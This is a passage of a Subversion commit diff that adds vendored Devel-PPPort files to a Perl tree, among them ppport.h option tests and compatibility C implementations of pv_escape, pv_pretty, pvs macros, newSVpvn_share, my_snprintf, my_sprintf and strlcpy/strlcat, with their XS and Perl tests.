+my $o = ppport(qw(--api-info=INT2PTR));
+my %found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{INT2PTR});
+ok(matches($o, '^Supported at least starting from perl-5\.6\.0\.', 'm'), 1);
+ok(matches($o, '^Support by .*ppport.* provided back to perl-5\.003\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=Zero));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{Zero});
+ok(matches($o, '^No portability information available\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=/Zero/));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 2);
+ok(exists $found{Zero});
+ok(exists $found{ZeroD});
+
+===============================================================================
+
+# check --list-provided option
+
+my @o = ppport(qw(--list-provided));
+my %p;
+my $fail = 0;
+for (@o) {
+  my($name, $flags) = /^(\w+)(?:\s+\[(\w+(?:,\s+\w+)*)\])?$/ or $fail++;
+  exists $p{$name} and $fail++;
+  $p{$name} = defined $flags ? { map { ($_ => 1) } $flags =~ /(\w+)/g } : '';
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{call_pv});
+ok(not ref $p{call_pv});
+
+ok(exists $p{grok_bin});
+ok(ref $p{grok_bin}, 'HASH');
+ok(scalar keys %{$p{grok_bin}}, 2);
+ok($p{grok_bin}{explicit});
+ok($p{grok_bin}{depend});
+
+ok(exists $p{gv_stashpvn});
+ok(ref $p{gv_stashpvn}, 'HASH');
+ok(scalar keys %{$p{gv_stashpvn}}, 2);
+ok($p{gv_stashpvn}{depend});
+ok($p{gv_stashpvn}{hint});
+
+ok(exists $p{sv_catpvf_mg});
+ok(ref $p{sv_catpvf_mg}, 'HASH');
+ok(scalar keys %{$p{sv_catpvf_mg}}, 2);
+ok($p{sv_catpvf_mg}{explicit});
+ok($p{sv_catpvf_mg}{depend});
+
+ok(exists $p{PL_signals});
+ok(ref $p{PL_signals}, 'HASH');
+ok(scalar keys %{$p{PL_signals}}, 1);
+ok($p{PL_signals}{explicit});
+
+===============================================================================
+
+# check --list-unsupported option
+
+my @o = ppport(qw(--list-unsupported));
+my %p;
+my $fail = 0;
+for (@o) {
+  my($name, $ver) = /^(\w+)\s*\.+\s*([\d._]+)$/ or $fail++;
+  exists $p{$name} and $fail++;
+  $p{$name} = $ver;
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{utf8_distance});
+ok($p{utf8_distance}, '5.6.0');
+
+ok(exists $p{save_generic_svref});
+ok($p{save_generic_svref}, '5.005_03');
+
+===============================================================================
+
+# check --nofilter option
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges foo.cpp foo.o Makefile.PL));
+ok($o =~ /Skipping the following files \(use --nofilter to avoid this\):/m);
+ok(matches($o, '^\|\s+foo\.o', 'mi'), 1);
+ok(matches($o, '^\|\s+Makefile\.PL', 'mi'), 1);
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges --nofilter foo.cpp foo.o Makefile.PL));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok($o =~ /^Scanning.*foo\.o/mi);
+ok($o =~ /Analyzing.*foo\.o/mi);
+ok($o =~ /^Scanning.*Makefile/mi);
+ok($o =~ /Analyzing.*Makefile/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+ok(matches($o, 'Analyzing', 'm'), 3);
+
+---------------------------- foo.cpp ------------------------------------------
+
+newSViv();
+
+---------------------------- foo.o --------------------------------------------
+
+newSViv();
+
+---------------------------- Makefile.PL --------------------------------------
+
+newSViv();
+
+===============================================================================
+
+# check if explicit variables are handled propery
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o =~ /^Uses PL_signals/m);
+ok($o =~ /^File needs PL_signals, adding static request/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+unlink qw(MyExt.xsa);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+PL_signals = 123;
+if (PL_signals == 42)
+  foo();
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#define NEED_PL_signals
+#include "ppport.h"
+PL_signals = 123;
+if (PL_signals == 42)
+  foo();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o =~ /^Uses SvUOK/m);
+ok($o =~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(2 warnings\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0 file.xs));
+ok($o =~ /^Uses PL_copline/m);
+ok($o =~ /WARNING: PL_copline/m);
+ok($o !~ /WARNING: Uses SvUOK, which may not be portable/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_PL_parser
+#include "ppport.h"
+SvUOK
+PL_copline
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+  ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+  ok(-e "${_}f");
+  ok(eq_files("${_}f", "${_}r"));
+  unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+#  define SOMETHING_ELSE defgv + \
+                         sv_undef
+
+---------------------------- file.xsr -----------------------------------------
+
+#include "ppport.h"
+a_string = "sv_undef"
+a_char = 'sv_yes'
+#define SOMETHING PL_defgv
+/* C-comment: sv_tainted */
+#
+# This is just a big XS comment using sv_no
+#
+/* The following, is NOT an XS comment! */
+#  define SOMETHING_ELSE PL_defgv + \
+                         PL_sv_undef
+
+===============================================================================
+
+my $o = ppport(qw(--copy=f));
+
+for (qw(file.xs)) {
+  ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+  ok(-e "${_}f");
+  ok(eq_files("${_}f", "${_}r"));
+  unlink "${_}f";
+}
+
+---------------------------- file.xs -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak("bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner("foo");
+warner_nocontext("foo");
+warner("foo");
+
+---------------------------- file.xsr -----------------------------------------
+
+#define NEED_sv_2pv_flags
+#define NEED_vnewSVpvf
+#define NEED_warner
+#include "ppport.h"
+Perl_croak_nocontext("foo");
+Perl_croak(aTHX_ "bar");
+croak("foo");
+croak_nocontext("foo");
+Perl_warner_nocontext("foo");
+Perl_warner(aTHX_ "foo");
+warner_nocontext("foo");
+warner("foo");

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/pv_tools
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/pv_tools	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/pv_tools	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,276 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+pv_escape
+pv_pretty
+pv_display
+
+=implementation
+
+__UNDEFINED__ PERL_PV_ESCAPE_QUOTE              0x0001
+__UNDEFINED__ PERL_PV_PRETTY_QUOTE              PERL_PV_ESCAPE_QUOTE
+__UNDEFINED__ PERL_PV_PRETTY_ELLIPSES           0x0002
+__UNDEFINED__ PERL_PV_PRETTY_LTGT               0x0004
+__UNDEFINED__ PERL_PV_ESCAPE_FIRSTCHAR          0x0008
+__UNDEFINED__ PERL_PV_ESCAPE_UNI                0x0100
+__UNDEFINED__ PERL_PV_ESCAPE_UNI_DETECT         0x0200
+__UNDEFINED__ PERL_PV_ESCAPE_ALL                0x1000
+__UNDEFINED__ PERL_PV_ESCAPE_NOBACKSLASH        0x2000
+__UNDEFINED__ PERL_PV_ESCAPE_NOCLEAR            0x4000
+__UNDEFINED__ PERL_PV_ESCAPE_RE                 0x8000
+__UNDEFINED__ PERL_PV_PRETTY_NOCLEAR            PERL_PV_ESCAPE_NOCLEAR
+
+__UNDEFINED__ PERL_PV_PRETTY_DUMP               PERL_PV_PRETTY_ELLIPSES|PERL_PV_PRETTY_QUOTE
+__UNDEFINED__ PERL_PV_PRETTY_REGPROP            PERL_PV_PRETTY_ELLIPSES|PERL_PV_PRETTY_LTGT|PERL_PV_ESCAPE_RE
+
+/* Hint: pv_escape
+ * Note that unicode functionality is only backported to
+ * those perl versions that support it. For older perl
+ * versions, the implementation will fall back to bytes.
+ */
+
+#ifndef pv_escape
+#if { NEED pv_escape }
+
+char *
+pv_escape(pTHX_ SV *dsv, char const * const str,
+  const STRLEN count, const STRLEN max,
+  STRLEN * const escaped, const U32 flags)
+{
+    const char esc = flags & PERL_PV_ESCAPE_RE ? '%' : '\\';
+    const char dq = flags & PERL_PV_ESCAPE_QUOTE ? '"' : esc;
+    char octbuf[32] = "%123456789ABCDF";
+    STRLEN wrote = 0;
+    STRLEN chsize = 0;
+    STRLEN readsize = 1;
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+    bool isuni = flags & PERL_PV_ESCAPE_UNI ? 1 : 0;
+#endif
+    const char *pv  = str;
+    const char * const end = pv + count;
+    octbuf[0] = esc;
+
+    if (!(flags & PERL_PV_ESCAPE_NOCLEAR))
+        sv_setpvs(dsv, "");
+
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+    if ((flags & PERL_PV_ESCAPE_UNI_DETECT) && is_utf8_string((U8*)pv, count))
+        isuni = 1;
+#endif
+
+    for (; pv < end && (!max || wrote < max) ; pv += readsize) {
+        const UV u =
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+                     isuni ? utf8_to_uvchr((U8*)pv, &readsize) :
+#endif
+                             (U8)*pv;
+        const U8 c = (U8)u & 0xFF;
+
+        if (u > 255 || (flags & PERL_PV_ESCAPE_ALL)) {
+            if (flags & PERL_PV_ESCAPE_FIRSTCHAR)
+                chsize = my_snprintf(octbuf, sizeof octbuf,
+                                      "%" UVxf, u);
+            else
+                chsize = my_snprintf(octbuf, sizeof octbuf,
+                                      "%cx{%" UVxf "}", esc, u);
+        } else if (flags & PERL_PV_ESCAPE_NOBACKSLASH) {
+            chsize = 1;
+        } else {
+            if (c == dq || c == esc || !isPRINT(c)) {
+                chsize = 2;
+                switch (c) {
+                case '\\' : /* fallthrough */
+                case '%'  : if (c == esc)
+                                octbuf[1] = esc;
+                            else
+                                chsize = 1;
+                            break;
+                case '\v' : octbuf[1] = 'v'; break;
+                case '\t' : octbuf[1] = 't'; break;
+                case '\r' : octbuf[1] = 'r'; break;
+                case '\n' : octbuf[1] = 'n'; break;
+                case '\f' : octbuf[1] = 'f'; break;
+                case '"'  : if (dq == '"')
+                                octbuf[1] = '"';
+                            else
+                                chsize = 1;
+                            break;
+                default:    chsize = my_snprintf(octbuf, sizeof octbuf,
+                                pv < end && isDIGIT((U8)*(pv+readsize))
+                                ? "%c%03o" : "%c%o", esc, c);
+                }
+            } else {
+                chsize = 1;
+            }
+        }
+        if (max && wrote + chsize > max) {
+            break;
+        } else if (chsize > 1) {
+            sv_catpvn(dsv, octbuf, chsize);
+            wrote += chsize;
+        } else {
+            char tmp[2];
+            my_snprintf(tmp, sizeof tmp, "%c", c);
+            sv_catpvn(dsv, tmp, 1);
+            wrote++;
+        }
+        if (flags & PERL_PV_ESCAPE_FIRSTCHAR)
+            break;
+    }
+    if (escaped != NULL)
+        *escaped= pv - str;
+    return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+#ifndef pv_pretty
+#if { NEED pv_pretty }
+
+char *
+pv_pretty(pTHX_ SV *dsv, char const * const str, const STRLEN count,
+  const STRLEN max, char const * const start_color, char const * const end_color,
+  const U32 flags)
+{
+    const U8 dq = (flags & PERL_PV_PRETTY_QUOTE) ? '"' : '%';
+    STRLEN escaped;
+
+    if (!(flags & PERL_PV_PRETTY_NOCLEAR))
+        sv_setpvs(dsv, "");
+
+    if (dq == '"')
+        sv_catpvs(dsv, "\"");
+    else if (flags & PERL_PV_PRETTY_LTGT)
+        sv_catpvs(dsv, "<");
+
+    if (start_color != NULL)
+        sv_catpv(dsv, D_PPP_CONSTPV_ARG(start_color));
+
+    pv_escape(dsv, str, count, max, &escaped, flags | PERL_PV_ESCAPE_NOCLEAR);
+
+    if (end_color != NULL)
+        sv_catpv(dsv, D_PPP_CONSTPV_ARG(end_color));
+
+    if (dq == '"')
+        sv_catpvs(dsv, "\"");
+    else if (flags & PERL_PV_PRETTY_LTGT)
+        sv_catpvs(dsv, ">");
+
+    if ((flags & PERL_PV_PRETTY_ELLIPSES) && escaped < count)
+        sv_catpvs(dsv, "...");
+
+    return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+#ifndef pv_display
+#if { NEED pv_display }
+
+char *
+pv_display(pTHX_ SV *dsv, const char *pv, STRLEN cur, STRLEN len, STRLEN pvlim)
+{
+    pv_pretty(dsv, pv, cur, pvlim, NULL, NULL, PERL_PV_PRETTY_DUMP);
+    if (len > cur && pv[cur] == '\0')
+        sv_catpvs(dsv, "\\0");
+    return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_pv_escape
+#define NEED_pv_pretty
+#define NEED_pv_display
+
+=xsubs
+
+void
+pv_escape_can_unicode()
+        PPCODE:
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+                XSRETURN_YES;
+#else
+                XSRETURN_NO;
+#endif
+
+void
+pv_pretty()
+        PREINIT:
+                char *rv;
+        PPCODE:
+                EXTEND(SP, 8);
+                ST(0) = sv_newmortal();
+                rv = pv_pretty(ST(0), "foobarbaz",
+                                9, 40, NULL, NULL, 0);
+                ST(1) = sv_2mortal(newSVpv(rv, 0));
+                ST(2) = sv_newmortal();
+                rv = pv_pretty(ST(2), "pv_p\retty\n",
+                                10, 40, "left", "right", PERL_PV_PRETTY_LTGT);
+                ST(3) = sv_2mortal(newSVpv(rv, 0));
+                ST(4) = sv_newmortal();
+                rv = pv_pretty(ST(4), "N\303\275 Batter\303\255",
+                                12, 20, NULL, NULL, PERL_PV_ESCAPE_UNI_DETECT);
+                ST(5) = sv_2mortal(newSVpv(rv, 0));
+                ST(6) = sv_newmortal();
+                rv = pv_pretty(ST(6), "\303\201g\303\246tis Byrjun",
+                                15, 18, NULL, NULL, PERL_PV_ESCAPE_UNI_DETECT|PERL_PV_PRETTY_ELLIPSES);
+                ST(7) = sv_2mortal(newSVpv(rv, 0));
+                XSRETURN(8);
+
+void
+pv_display()
+        PREINIT:
+                char *rv;
+        PPCODE:
+                EXTEND(SP, 4);
+                ST(0) = sv_newmortal();
+                rv = pv_display(ST(0), "foob\0rbaz", 9, 10, 20);
+                ST(1) = sv_2mortal(newSVpv(rv, 0));
+                ST(2) = sv_newmortal();
+                rv = pv_display(ST(2), "pv_display", 10, 11, 5);
+                ST(3) = sv_2mortal(newSVpv(rv, 0));
+                XSRETURN(4);
+
+=tests plan => 13
+
+my $uni = &Devel::PPPort::pv_escape_can_unicode();
+
+# sanity check
+ok($uni ? $] >= 5.006 : $] < 5.008);
+
+my @r;
+
+ at r = &Devel::PPPort::pv_pretty();
+ok($r[0], $r[1]);
+ok($r[0], "foobarbaz");
+ok($r[2], $r[3]);
+ok($r[2], '<leftpv_p\retty\nright>');
+ok($r[4], $r[5]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+     $r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303');
+ok($r[6], $r[7]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+     $r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...');
+
+ at r = &Devel::PPPort::pv_display();
+ok($r[0], $r[1]);
+ok($r[0], '"foob\0rbaz"\0');
+ok($r[2], $r[3]);
+ok($r[2] eq '"pv_di"...\0' ||
+   $r[2] eq '"pv_d"...\0');  # some perl implementations are broken... :(

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/pvs
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/pvs	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/pvs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,154 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+/* concatenating with "" ensures that only literal strings are accepted as argument
+ * note that STR_WITH_LEN() can't be used as argument to macros or functions that
+ * under some configurations might be macros
+ */
+
+__UNDEFINED__  STR_WITH_LEN(s)             (s ""), (sizeof(s)-1)
+
+__UNDEFINED__  newSVpvs(str)               newSVpvn(str "", sizeof(str) - 1)
+__UNDEFINED__  newSVpvs_flags(str, flags)  newSVpvn_flags(str "", sizeof(str) - 1, flags)
+__UNDEFINED__  newSVpvs_share(str)         newSVpvn_share(str "", sizeof(str) - 1, 0)
+__UNDEFINED__  sv_catpvs(sv, str)          sv_catpvn(sv, str "", sizeof(str) - 1)
+__UNDEFINED__  sv_setpvs(sv, str)          sv_setpvn(sv, str "", sizeof(str) - 1)
+__UNDEFINED__  hv_fetchs(hv, key, lval)    hv_fetch(hv, key "", sizeof(key) - 1, lval)
+__UNDEFINED__  hv_stores(hv, key, val)     hv_store(hv, key "", sizeof(key) - 1, val, 0)
+
+__UNDEFINED__  gv_fetchpvs(name, flags, svt)            gv_fetchpvn_flags(name "", sizeof(name) - 1, flags, svt)
+__UNDEFINED__  gv_stashpvs(name, flags)                 gv_stashpvn(name "", sizeof(name) - 1, flags)
+
+__UNDEFINED__  get_cvs(name, flags)                     get_cvn_flags(name "", sizeof(name)-1, flags)
+
+=xsinit
+
+#define NEED_newSVpvn_share
+
+=xsubs
+
+void
+newSVpvs()
+        PPCODE:
+                mXPUSHs(newSVpvs("newSVpvs"));
+                XSRETURN(1);
+
+void
+newSVpvs_flags()
+        PPCODE:
+                XPUSHs(newSVpvs_flags("newSVpvs_flags", SVs_TEMP));
+                XSRETURN(1);
+
+int
+newSVpvs_share()
+        PREINIT:
+                SV *sv;
+                U32 hash;
+        CODE:
+                RETVAL = 0;
+                PERL_HASH(hash, "pvs", 3);
+                sv = newSVpvs_share("pvs");
+                RETVAL += strEQ(SvPV_nolen_const(sv), "pvs");
+                RETVAL += SvCUR(sv) == 3;
+                RETVAL += SvSHARED_HASH(sv) == hash;
+                SvREFCNT_dec(sv);
+        OUTPUT:
+                RETVAL
+
+void
+sv_catpvs(sv)
+        SV *sv
+        PPCODE:
+                sv_catpvs(sv, "sv_catpvs");
+
+void
+sv_setpvs(sv)
+        SV *sv
+        PPCODE:
+                sv_setpvs(sv, "sv_setpvs");
+
+void
+hv_fetchs(hv)
+        SV *hv
+        PREINIT:
+                SV **s;
+        PPCODE:
+                s = hv_fetchs((HV *) SvRV(hv), "hv_fetchs", 0);
+                XPUSHs(sv_mortalcopy(*s));
+                XSRETURN(1);
+
+void
+hv_stores(hv, sv)
+        SV *hv
+        SV *sv
+        PPCODE:
+                (void) hv_stores((HV *) SvRV(hv), "hv_stores", SvREFCNT_inc_simple(sv));
+
+SV*
+gv_fetchpvs()
+        CODE:
+                RETVAL = newRV_inc((SV*)gv_fetchpvs("Devel::PPPort::VERSION", 0, SVt_PV));
+        OUTPUT:
+                RETVAL
+
+SV*
+gv_stashpvs()
+        CODE:
+                RETVAL = newRV_inc((SV*)gv_stashpvs("Devel::PPPort", 0));
+        OUTPUT:
+                RETVAL
+
+int
+get_cvs()
+        PREINIT:
+                CV* xv;
+        CODE:
+                RETVAL = 0;
+                xv = get_cvs("Devel::PPPort::foobar", 0);
+                if(xv == NULL) RETVAL++;
+                xv = get_cvs("Devel::PPPort::foobar", GV_ADDMULTI);
+                if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+                xv = get_cvs("Devel::PPPort::get_cvs", 0);
+                if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+OUTPUT:
+        RETVAL
+
+
+=tests plan => 12
+
+my $x = 'foo';
+
+ok(Devel::PPPort::newSVpvs(), "newSVpvs");
+ok(Devel::PPPort::newSVpvs_flags(), "newSVpvs_flags");
+ok(Devel::PPPort::newSVpvs_share(), 3);
+
+Devel::PPPort::sv_catpvs($x);
+ok($x, "foosv_catpvs");
+
+Devel::PPPort::sv_setpvs($x);
+ok($x, "sv_setpvs");
+
+my %h = ('hv_fetchs' => 42);
+Devel::PPPort::hv_stores(\%h, 4711);
+ok(scalar keys %h, 2);
+ok(exists $h{'hv_stores'});
+ok($h{'hv_stores'}, 4711);
+ok(Devel::PPPort::hv_fetchs(\%h), 42);
+ok(Devel::PPPort::gv_fetchpvs(), \*Devel::PPPort::VERSION);
+ok(Devel::PPPort::gv_stashpvs(), \%Devel::PPPort::);
+
+ok(Devel::PPPort::get_cvs(), 3);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/shared_pv
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/shared_pv	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/shared_pv	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,90 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newSVpvn_share
+__UNDEFINED__
+
+=implementation
+
+/* Hint: newSVpvn_share
+ * The SVs created by this function only mimic the behaviour of
+ * shared PVs without really being shared. Only use if you know
+ * what you're doing.
+ */
+
+#ifndef newSVpvn_share
+
+#if { NEED newSVpvn_share }
+
+SV *
+newSVpvn_share(pTHX_ const char *src, I32 len, U32 hash)
+{
+  SV *sv;
+  if (len < 0)
+    len = -len;
+  if (!hash)
+    PERL_HASH(hash, (char*) src, len);
+  sv = newSVpvn((char *) src, len);
+  sv_upgrade(sv, SVt_PVIV);
+  SvIVX(sv) = hash;
+  SvREADONLY_on(sv);
+  SvPOK_on(sv);
+  return sv;
+}
+
+#endif
+
+#endif
+
+__UNDEFINED__ SvSHARED_HASH(sv) (0 + SvUVX(sv))
+
+=xsinit
+
+#define NEED_newSVpvn_share
+
+=xsubs
+
+int
+newSVpvn_share()
+        PREINIT:
+                const char *s;
+                SV *sv;
+                STRLEN len;
+                U32 hash;
+        CODE:
+                RETVAL = 0;
+                s = "mhx";
+                len = 3;
+                PERL_HASH(hash, (char *) s, len);
+                sv = newSVpvn_share(s, len, 0);
+                s = 0;
+                RETVAL += strEQ(SvPV_nolen_const(sv), "mhx");
+                RETVAL += SvCUR(sv) == len;
+                RETVAL += SvSHARED_HASH(sv) == hash;
+                SvREFCNT_dec(sv);
+                s = "foobar";
+                len = 6;
+                PERL_HASH(hash, (char *) s, len);
+                sv = newSVpvn_share(s, -(I32) len, hash);
+                s = 0;
+                RETVAL += strEQ(SvPV_nolen_const(sv), "foobar");
+                RETVAL += SvCUR(sv) == len;
+                RETVAL += SvSHARED_HASH(sv) == hash;
+                SvREFCNT_dec(sv);
+        OUTPUT:
+                RETVAL
+
+
+=tests plan => 1
+
+ok(&Devel::PPPort::newSVpvn_share(), 6);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/snprintf
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/snprintf	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/snprintf	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,63 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_snprintf
+
+=implementation
+
+#if !defined(my_snprintf)
+#if { NEED my_snprintf }
+
+int
+my_snprintf(char *buffer, const Size_t len, const char *format, ...)
+{
+    dTHX;
+    int retval;
+    va_list ap;
+    va_start(ap, format);
+#ifdef HAS_VSNPRINTF
+    retval = vsnprintf(buffer, len, format, ap);
+#else
+    retval = vsprintf(buffer, format, ap);
+#endif
+    va_end(ap);
+    if (retval < 0 || (len > 0 && (Size_t)retval >= len))
+        Perl_croak(aTHX_ "panic: my_snprintf buffer overflow");
+    return retval;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_snprintf
+
+=xsubs
+
+void
+my_snprintf()
+        PREINIT:
+                char buf[128];
+                int len;
+        PPCODE:
+                len = my_snprintf(buf, sizeof buf, "foo%s%d", "bar", 42);
+                mXPUSHi(len);
+                mXPUSHs(newSVpv(buf, 0));
+                XSRETURN(2);
+
+=tests plan => 2
+
+my($l, $s) = Devel::PPPort::my_snprintf();
+ok($l, 8);
+ok($s, "foobar42");

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/sprintf
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/sprintf	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/sprintf	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,55 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_sprintf
+
+=implementation
+
+#if !defined(my_sprintf)
+#if { NEED my_sprintf }
+
+int
+my_sprintf(char *buffer, const char* pat, ...)
+{
+    va_list args;
+    va_start(args, pat);
+    vsprintf(buffer, pat, args);
+    va_end(args);
+    return strlen(buffer);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_sprintf
+
+=xsubs
+
+void
+my_sprintf()
+        PREINIT:
+                char buf[128];
+                int len;
+        PPCODE:
+                len = my_sprintf(buf, "foo%s%d", "bar", 42);
+                mXPUSHi(len);
+                mXPUSHs(newSVpv(buf, 0));
+                XSRETURN(2);
+
+=tests plan => 2
+
+my($l, $s) = Devel::PPPort::my_sprintf();
+ok($l, 8);
+ok($s, "foobar42");

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/strlfuncs
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/strlfuncs	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/strlfuncs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,107 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_strlcat
+my_strlcpy
+
+=implementation
+
+#if !defined(my_strlcat)
+#if { NEED my_strlcat }
+
+Size_t
+my_strlcat(char *dst, const char *src, Size_t size)
+{
+    Size_t used, length, copy;
+
+    used = strlen(dst);
+    length = strlen(src);
+    if (size > 0 && used < size - 1) {
+        copy = (length >= size - used) ? size - used - 1 : length;
+        memcpy(dst + used, src, copy);
+        dst[used + copy] = '\0';
+    }
+    return used + length;
+}
+#endif
+#endif
+
+#if !defined(my_strlcpy)
+#if { NEED my_strlcpy }
+
+Size_t
+my_strlcpy(char *dst, const char *src, Size_t size)
+{
+    Size_t length, copy;
+
+    length = strlen(src);
+    if (size > 0) {
+        copy = (length >= size) ? size - 1 : length;
+        memcpy(dst, src, copy);
+        dst[copy] = '\0';
+    }
+    return length;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_strlcat
+#define NEED_my_strlcpy
+
+=xsubs
+
+void
+my_strlfunc()
+        PREINIT:
+                char buf[8];
+                int len;
+        PPCODE:
+                len = my_strlcpy(buf, "foo", sizeof(buf));
+                mXPUSHi(len);
+                mXPUSHs(newSVpv(buf, 0));
+                len = my_strlcat(buf, "bar", sizeof(buf));
+                mXPUSHi(len);
+                mXPUSHs(newSVpv(buf, 0));
